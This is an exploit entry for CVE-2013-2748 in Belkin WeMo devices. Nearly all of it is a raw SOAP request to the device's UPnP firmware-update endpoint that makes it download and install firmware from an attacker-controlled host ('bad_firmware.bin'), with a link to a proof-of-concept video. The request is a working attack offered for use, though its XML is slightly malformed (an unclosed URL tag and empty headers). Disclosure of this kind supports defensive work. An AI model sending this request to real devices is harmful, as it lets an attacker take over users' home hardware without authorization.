Belkin Wemo - Arbitrary Firmware Upload

# Exploit Title: Belkin Wemo Arbitrary Firmware Vulnerability # Date: 4/3/13 # Exploit Author: Daniel Buentello # Vendor Homepage: http://www.belkin.com/us/wemo # Version: Any version prior to WeMo_US_2.00.2176.PVT # CVE : CVE-2013-2748 POST /upnp/control/firmwareupdate1 HTTP/1.1 SOAPACTION: "urn:Belkin:service:firmwareupdate:1#UpdateFirmware" Content-Length: Content-Type: text/xml; charset="utf-8" HOST: 10.0.1.8:49153 User-Agent: <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:UpdateFirmware xmlns:u="urn:Belkin:service:firmwareupdate:1"> <ReleaseDate>07Jan2013</ReleaseDate><NewFirmwareVersion>1</NewFirmwareVersion><URL>http://10.0.1.99/bad_firmware.bin </u:UpdateFirmware> </s:Body> </s:Envelope> PoC Video: https://www.youtube.com/watch?v=BcW2q0aHOFo